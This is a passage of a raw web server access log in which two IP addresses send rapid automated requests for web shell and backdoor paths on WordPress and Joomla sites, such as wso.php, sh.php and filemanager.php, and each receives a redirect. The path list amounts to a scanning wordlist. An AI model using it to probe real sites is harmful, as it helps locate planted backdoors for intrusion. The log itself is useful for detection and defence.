"-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:32 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:32 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:33 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:33 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:34 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:34 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 